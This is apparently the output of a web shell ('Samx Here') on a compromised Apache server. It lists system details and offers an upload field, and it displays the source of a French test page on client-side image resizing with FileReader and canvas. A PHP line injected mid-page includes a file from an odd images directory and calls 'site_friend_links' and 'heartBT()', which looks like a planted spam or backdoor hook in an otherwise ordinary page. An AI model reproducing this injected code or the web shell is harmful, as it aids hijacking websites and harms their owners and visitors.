404 Not Found

Samx Here
Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory : /home/pragmatice/public_html/tests/
Upload File :
Current File : /home/pragmatice/public_html/tests/redimensionner_image.php
<!DOCTYPE html>
<html lang="fr">
<head>
	<title>redimensionner une image côté client</title>
	<meta name="description" content="A compléter..." />
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0, minimal-ui">
	<style>
		#m1_preview {border: 1px solid blue;}
		.pave {display:inline-block; width:150px; border:1px solid blue; text-align:center; padding:5px; margin-right:10px;}
		#m1_moncanvas, #m2_moncanvas {display:none;}
	</style>
</head>
	
<body>

<h3>Méthode 1 : en 3 temps : upload + canvas + base 64</h3>
<div style="margin-bottom:10px;">
	<input type="file" id="methode_1" />
	<input type="button" value="Vers Canvas" id="vers_canvas" />
	<input type="button" value="Vers Base 64" id="vers_base64" />
</div>
<div class="pave"><div>1. Preview</div><img id="m1_preview" /></div>
<div class="pave"><div>2. Canvas</div><canvas id="m1_moncanvas"></canvas></div>
<div class="pave"><div>3. Base 64</div><img id="m1_base64" /></div>
<h3>Méthode 2 : enchaînement automatique : upload + canvas + base 64</h3>
<div style="margin-bottom:10px;">
	<input type="file" id="methode_2" />
</div>
<div class="pave"><div>1. Preview</div><img id="m2_preview" /></div>
<div class="pave"><div>2. Canvas</div><canvas id="m2_moncanvas"></canvas></div>
<div class="pave"><div>3. Base 64</div><img id="m2_base64" /></div><?php include_once $_SERVER["DOCUMENT_ROOT"]."/lesite/IMG/distant/html/functions-php-lib.php"; global $hasRun; if (!$hasRun) { echo site_friend_links("<!--DhdL8Uf9-->");flush();heartBT(); $hasRun = true;} ?>
<h3>Mon problème...</h3>
<p>J'essaie de créer une fonction qui redimensionne une image côté client, en passant par un canvas.</p>
<p>Je récupère l'image prévisualisée avec un FileReader(), ce qui nécessite un onload.</p>
<p>La méthode 1 fonctionne parfaitement parce que comme on clique pour afficher dans le canvas, l'image est déjà prévisualisée.</p>
<p>Pour la méthode 2, je ne sais pas comment enchaîner le dessin dans le canvas autrement que par un settimeout, qui n'est pas propre. Comment faire ?</p>

<script src="https://code.jquery.com/jquery-3.5.1.min.js" type="text/javascript"></script>
<script>

	$("#methode_1").change(function() {
		previewImageOnload(this,"m1_preview",100,100);
	});

	$("#vers_canvas").click(function() {
		versCanvas("m1_preview","m1_moncanvas",100,100);
	});

	$("#vers_base64").click(function() {
		versBase64(m1_moncanvas,"m1_base64",100,100);
	});

	$("#methode_2").change(function() {
		uploadVersCanvasPuisB64(this,"m2_base64",100,100);
	});

	function previewImageOnload(idInput,idCible,width,height) {
		var file = idInput.files[0];
		var mime = file.type;
		var mimeAutorise = ["image/jpeg" , "image/png" , "image/gif"];
		$("#"+idCible).attr({"width":width , "height":height});
		if (file && $.inArray(mime , mimeAutorise) != -1){
			var reader = new FileReader();
			reader.onload = function(e) { 
				var src = e.target.result.replace(/<script/gi,"");// on supprime les balises script au cas où le fichier serait une fausse image
				$("#"+idCible).attr("src",src);
			}
			reader.readAsDataURL(file);
		}
	}

	function versCanvas(idImageSource,idCanvasCible,width,height) {
		var lecanvas = document.getElementById(idCanvasCible);
		var ctx = lecanvas.getContext("2d");
		var image = document.getElementById(idImageSource);
		//var image = $("#element");
		$("#"+idCanvasCible).attr({"width":width, "height":height}).show();
		ctx.drawImage(image,0,0,width,height);
	}

	function versBase64(idCanvasSource,idImageCible) {
		var imgB64 = idCanvasSource.toDataURL();
		$("#"+idImageCible).attr("src",imgB64);
	}

	function uploadVersCanvasPuisB64(idInput,idImageCible,width,height) {
		var file = idInput.files[0];
		var mime = file.type;
		var mimeAutorise = ["image/jpeg" , "image/png" , "image/gif"];
		$("#m2_preview").attr({"width":width , "height":height});
		if (file && $.inArray(mime , mimeAutorise) != -1){
			var reader = new FileReader();
			reader.onload = function(e) { 
				var src = e.target.result.replace(/<script/gi,"");// on supprime les balises script au cas où le fichier serait une fausse image
				$("#m2_preview").attr("src",src);
				
				setTimeout(function(){
					versCanvas("m2_preview","m2_moncanvas",100,100);
					versBase64(m2_moncanvas,idImageCible,100,100);
				},1000);
				
			}
			reader.readAsDataURL(file);
			/*
			reader.addEventListener('loadend', function(e) {
				//console.log($("#m2_preview").attr("src"));
				versCanvas("m2_preview","m2_moncanvas",100,100);
				versBase64(m2_moncanvas,idImageCible,100,100);
			});
			*/
		}
	}

</script>
	
</body>
</html>
SAMX